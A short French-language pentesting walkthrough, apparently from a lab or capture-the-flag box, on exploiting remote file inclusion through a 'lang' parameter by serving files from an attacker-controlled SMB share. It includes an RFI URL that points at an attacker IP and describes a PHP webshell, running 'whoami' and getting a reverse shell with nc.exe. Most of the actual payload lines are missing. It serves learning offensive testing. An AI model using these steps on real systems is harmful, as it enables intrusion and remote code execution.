RFI (SMB Server) - Pentesting Web

Test de RFI via serveur web distant :

Nous avons tenté de charger un fichier distant via l'URL ?lang=http://10.10.14.3/index.html en pointant vers notre serveur web local avec Python3.

python3 -m http.server 80
?lang=http://10.10.14.3/index.html

mais cela n'a pas fonctionné.

Création d'un serveur SMB:

Nous avons créé un serveur SMB local à l'aide de smbserver.py et partagé le répertoire courant :

Ensuite, nous avons tenté de charger un fichier à partir du serveur SMB en modifiant le paramètre lang

  • Cette fois, le serveur a correctement interprété notre fichier index.html, affichant son contenu ("Hello World").

Création d'un fichier webshell PHP (cmd.php)

Nous avons créé un fichier cmd.php sur notre serveur SMB pour exécuter des commandes à distance via le paramètre cmd :

Exécution de commandes via SMB

En utilisant l'URL suivante, nous avons exécuté la commande whoami :

Reverse Shell (nc.exe)

Téléchargement de nc.exe pour reverse shell : Nous avons récupéré le binaire nc.exe depuis les outils de fuzzing dans /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe et l'avons copié dans le répertoire de travail.

Écoute sur le port 443 : Nous avons mis en place un listener avec nc pour écouter sur le port 443 :

Exécution du reverse shell via SMB : Nous avons ensuite lancé un reverse shell en pointant le paramètre cmd vers notre fichier

Nous avons ainsi obtenu un reverse shell vers notre machine.

Mis à jour

Ce contenu vous a-t-il été utile ?